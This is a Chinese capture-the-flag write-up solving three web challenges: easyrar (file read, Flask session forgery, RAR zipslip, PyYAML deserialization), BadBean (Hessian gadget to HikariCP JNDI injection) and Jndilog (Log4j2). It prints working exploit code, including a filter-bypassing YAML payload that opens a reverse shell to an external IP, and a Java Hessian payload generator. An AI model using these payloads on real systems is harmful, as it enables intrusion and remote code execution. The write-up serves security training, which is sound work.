题解分析
easyrar
考点:zipslip、pyyaml 反序列化、任意文件读取
1import os
2import re
3import yaml
4import time
5import socket
6import subprocess
7from hashlib import md5
8from flask import Flask, render_template, make_response, send_file, request, redirect, session
9
10app = Flask(__name__)
11app.config['SECRET_KEY'] = socket.gethostname()
12
13def response(content, status):
14 resp = make_response(content, status)
15 return resp
16
17
18@app.before_request
19def is_login():
20 if request.path == "/upload":
21 if session.get('user') != "Administrator":
22 return f"<script>alert('Access Denied');window.location.href='/'</script>"
23 else:
24 return None
25
26
27@app.route('/', methods=['GET'])
28def main():
29 if not session.get('user'):
30 session['user'] = 'Guest'
31 try:
32 return render_template('index.html')
33 except:
34 return response("Not Found.", 404)
35 finally:
36 try:
37 updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
38 if not session.get('updir'):
39 session['updir'] = updir
40 if not os.path.exists(updir):
41 os.makedirs(updir)
42 except:
43 return response('Internal Server Error.', 500)
44
45
46@app.route('/<path:file>', methods=['GET'])
47def download(file):
48 if session.get('updir'):
49 basedir = session.get('updir')
50 try:
51 path = os.path.join(basedir, file).replace('../', '')
52 if os.path.isfile(path):
53 return send_file(path)
54 else:
55 return response("Not Found.", 404)
56 except:
57 return response("Failed.", 500)
58
59
60@app.route('/upload', methods=['GET', 'POST'])
61def upload():
62
63 if request.method == 'GET':
64 return redirect('/')
65
66 if request.method == 'POST':
67 uploadFile = request.files['file']
68 filename = request.files['file'].filename
69
70 if re.search(r"\.\.|/", filename, re.M|re.I) != None:
71 return "<script>alert('Hacker!');window.location.href='/upload'</script>"
72
73 filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
74 if os.path.exists(filepath):
75 return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
76 else:
77 uploadFile.save(filepath)
78
79 extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
80 if not os.path.exists(extractdir):
81 os.makedirs(extractdir)
82
83 pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
84 t_beginning = time.time()
85 seconds_passed = 0
86 timeout=60
87 while True:
88 if pStatus.poll() is not None:
89 break
90 seconds_passed = time.time() - t_beginning
91 if timeout and seconds_passed > timeout:
92 pStatus.terminate()
93 raise TimeoutError(timeout)
94 time.sleep(0.1)
95
96 rarDatas = {'filename': filename, 'dirs': [], 'files': []}
97
98 for dirpath, dirnames, filenames in os.walk(extractdir):
99 relative_dirpath = dirpath.split(extractdir)[-1]
100 rarDatas['dirs'].append(relative_dirpath)
101 for file in filenames:
102 rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])
103
104 with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
105 f.write(yaml.dump(rarDatas))
106
107 return redirect(f'/display?file={filename}')
108
109
110@app.route('/display', methods=['GET'])
111def display():
112
113 filename = request.args.get('file')
114 if not filename:
115 return response("Not Found.", 404)
116
117 if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
118 with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
119 yamlDatas = f.read()
120 if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
121 rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
122 if rarDatas:
123 return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
124 else:
125 return response('Internal Server Error.', 500)
126 else:
127 return response('Forbidden.', 403)
128 else:
129 return response("Not Found.", 404)
130
131
132if __name__ == '__main__':
133 app.run(host='0.0.0.0', port=8888)
这一题其实挺常规的,但是套的内容挺多的。首先是最外层的 session 伪造。它的 secret_key 是/etc/hosts 文件中的主机名,需要通过入口点给的任意文件读取来读。有一点过滤但不多,双写绕过一下就行了。
我们读取一下 hosts 文件
这里我们的 secret_key 对应的就是 hostname 76ae2c066e3b
,接下来我们可以进行 session 伪造了
key 正确,接下来将 user 伪造成 Administrator
1flask-session-cookie-manager on master via 🐍 v3.12.2
2❯ python3 flask_session_cookie_manager3.py encode -t "{'updir': 'static/uploads/35476a338e03e65c85448bb8450bd27d', 'user': 'Administrator'}" -s "76ae2c066e3b"
3eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzM1NDc2YTMzOGUwM2U2NWM4NTQ0OGJiODQ1MGJkMjdkIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.Zf2vhQ.j2z5Hl1I4xLbuVq-iRa2Jj2tH8E
4
恶意 rar 制作脚本如下。
https://github.com/J0hnbX/CVE-2022-30333
可惜题目没开启热部署,不然直接覆盖 py 文件了,这里还给了一个路由 display,有 yaml 有关操作,思路很清晰就是 zipslip 一个恶意 yaml 文件到指定位置进行 yaml 反序列化,对 yaml 内容作了点过滤,tuple、apply、system 没了,tuple 用 frozenset 替换,system 用 popen,apply 用 new 换
1import re
2
3import yaml
4payload="""
5!!python/object/new:frozenset
6- !!python/object/new:map
7 - !!python/name:eval
8 - ["__import__\\x28'os'\\x29.popen\\x28\\"bash -c 'bash -i >& /dev/tcp/8.130.24.188/7778 <&1'\\"\\x29"]
9"""
10print(payload)
11yaml.load(payload)
至于最后的括号过滤,我们用十六进制编码绕过就行了。最后上传我们的 rar 文件
此时 yaml 文件已经 zipslip 到了 fileinfo 文件夹,我们接下来直接触发 display 就可以反弹 shell
题目太绕了,考点简单但是全吃细节。由于这是 2022 年的题目,只有题目附件,docker 镜像都是笔者调试搭建出来的。也是十分不易呀。希望大家珍惜有靶场做题的机会。纯用爱发电
BadBean
考点:dubbo 反序列化、hessian 反序列化
这一题放现如今 2024 年其实已经有了一个比较严重的非预期。这里笔者就只介绍预期解法了,感兴趣的非预期解法的同学可以联系邮箱 boogipop@wm-team.cn
1package com.ctf.badbean.main;
2import com.alibaba.com.caucho.hessian.io.Hessian2Input;
3import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
4import org.springframework.stereotype.*;
5import org.springframework.ui.*;
6import java.io.*;
7import java.util.Base64;
8import java.util.List;
9
10import org.springframework.beans.factory.annotation.Autowired;
11import org.springframework.stereotype.Controller;
12import org.springframework.ui.Model;
13import org.springframework.web.bind.annotation.*;
14@EnableAutoConfiguration
15@RestController
16public class IndexController
17{
18 @GetMapping("/")
19 public String hello(){
20 return "<h1>Starter BadBean v2.0</h1><code>Other router at /api</code>";
21 }
22
23 @RequestMapping("/api")
24 public String starter(@RequestParam(name = "data", required = false) final String data, final Model model) throws Exception {
25 if(data!=null){
26 final byte[] b = Base64.getDecoder().decode(data);
27 final InputStream inputStream = new ByteArrayInputStream(b);
28 Hessian2Input hessian2Input = new Hessian2Input(inputStream);
29 hessian2Input.readObject();
30 }
31
32 return "<h1>Api is running,This time i use hessian2, plz hack me</h1>";
33 }
34}
35
36
这一题的入口点是 hessian 反序列化,用的是 dubbo 内置的 hessian,这个组件前阵子是有漏洞的。
并且可以看见给了 HikariCP 依赖,这个依赖是来打 JNDI 注入我们经常见到的。因此其实这是一道简单 java 题
这一题给了一个自定义的 Bean
1public String toString() {
2 StringBuffer sb = new StringBuffer(128);
3 try {
4 List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
5 Iterator flag = propertyDescriptors.iterator();
6
7 while(flag.hasNext()) {
8 PropertyDescriptor propertyDescriptor = (PropertyDescriptor)flag.next();
9 String propertyName = propertyDescriptor.getName();
10 Method getter = propertyDescriptor.getReadMethod();
11 Object value = getter.invoke(this.obj, new Object[0]);
12 }
13 } catch (Exception e) {
14 Class<? extends Object> clazz = this.obj.getClass();
15 String errorMessage = e.getMessage();
16 sb.append(String.format("\n\nEXCEPTION: Could not complete %s.toString(): %s\n", clazz, errorMessage));
17 }
18
19 return sb.toString();
20 }
21
这个 bean 的 toString 方法会触发任意的 getter,那么配合 hessian 反序列化的异常处理可以达到这一步。接下来就是 getter 是什么了,刚刚也说了 hikaricp 这个依赖,它的 HikariDataSource| 是有问题的。
进行了实例化 HikariPool 的操作
调用父类的构造方法
调用 initializeDataSource 方法
完成 jndi 注入。因此最终的 exp 如下
1package com.javasec.pocs.solutions.wdb2023;
2
3import com.ctf.badbean.bean.MyBean;
4import com.javasec.utils.SerializeUtils;
5import com.zaxxer.hikari.HikariConfig;
6import com.zaxxer.hikari.HikariDataSource;
7
8import javax.management.BadAttributeValueExpException;
9import javax.xml.transform.Templates;
10import java.io.ByteArrayOutputStream;
11import java.security.SignedObject;
12import java.util.Base64;
13
14public class badbean {
15 public static void main(String[] args) throws Exception {
16 MyBean myBean = new MyBean();
17 HikariDataSource hikariDataSource = new HikariDataSource();
18 hikariDataSource.setDataSourceJNDI("ldap://127.0.0.1:1389/basic/Open%20-a%20Calculator");
19 SerializeUtils.setFieldValue(myBean,"obj",hikariDataSource);
20 SerializeUtils.setFieldValue(myBean,"beanClass",hikariDataSource.getClass());
21 ByteArrayOutputStream byteArrayOutputStream = SerializeUtils.HessianTostringSerial(myBean);
22 String base64String = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
23 System.out.println(base64String);
24 SerializeUtils.HessianDeserial(base64String);
25
26 }
27}
28
Jndilog
考点:高版本 jndi 注入、log4j2
1//
2// Source code recreated from a .class file by IntelliJ IDEA
3// (powered by FernFlower decompiler)
4//
5
6package org.example;
7
8import java.sql.Connection;
9import java.sql.DriverManager;
10import java.sql.ResultSet;
11import java.sql.SQLException;
12import java.sql.Statement;
13import javax.servlet.http.HttpServletRequest;
14import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
15import org.springframework.stereotype.Controller;
16import org.springframework.web.bind.annotation.RequestMapping;
17import org.springframework.web.bind.annotation.ResponseBody;
18
19@EnableAutoConfiguration
20@Controller
21public class Index {
22 public Index() {
23 }
24
25 @ResponseBody
26 @RequestMapping({"/"})
27 public String hello(HttpServletRequest request) {
28 String username = request.getParameter("username");
29 String password = request.getParameter("password");
30 if (username != null && password != null) {
31 try {
32 Class.forName("com.mysql.jdbc.Driver");
33 System.out.println("Driver ok");
34 } catch (ClassNotFoundException var11) {
35 System.out.println("Driver fail");
36 var11.printStackTrace();
37 }
38
39 String url = "jdbc:mysql://localhost:3306/ctf?useUnicode=true&characterEncodeing=UTF-8&useSSL=false&serverTimezone=GMT";
40 String sql = "select * from users where username='" + username + "' and password='" + password + "'";
41
42 try {
43 Connection conn = DriverManager.getConnection(url, "root", "root");
44 Statement stmt = conn.createStatement();
45 ResultSet rt = stmt.executeQuery(sql);
46 rt.next();
47 String rtUser = rt.getString("username");
48 rt.close();
49 stmt.close();
50 conn.close();
51 if (rtUser.equals(username)) {
52 return "ok";
53 }
54 } catch (SQLException var10) {
55 UserLoger.Loog(var10.toString());
56 }
57
58 return "no";
59 } else {
60 return "no";
61 }
62 }
63}
64
入口点很简单,就是 UserLoger.Loog(var10.toString());
1//
2// Source code recreated from a .class file by IntelliJ IDEA
3// (powered by FernFlower decompiler)
4//
5
6package org.example;
7
8import org.apache.logging.log4j.LogManager;
9import org.apache.logging.log4j.Logger;
10
11public class UserLoger {
12 private static final Logger LOGGER = LogManager.getLogger(UserLoger.class);
13
14 public UserLoger() {
15 }
16
17 public static void Loog(String LogStr) {
18 LOGGER.error(LogStr);
19 }
20}
21
这里用的是 log4j2,大家熟悉的不能再熟悉了,接下来就是直接打一个 jndi 注入就行了,这里远程版本是高版本 jdk。直接掏 exp 打就行。
弹出计算机成功 RCE,这里触发异常处理很简单,由于题目执行 sql 用的是 stmt.executeQuery,只可以执行单条语句,我们加个分号就会报错直接触发 jndi 注入
赛事题型
easyrar
是比较中规中矩的一道题,他的主要难点在于考点的综合,每一个考点单独拆开并不难,像这题考了你 yaml 反序列化,zipslip 利用,任意文件读取。这三个考点综合到一起相互结合就会使得这道题变为中档题
BadBean
与时俱进的 Java,考的是当时挺热闹的一个 CVE 组件漏洞,Hessian 组件的 toString gadgets 利用链。需要读者们自行去学习。
Jndilog
算是一个老伙计了,主要考的是 Log4j2 的漏洞 CVE-2021-44228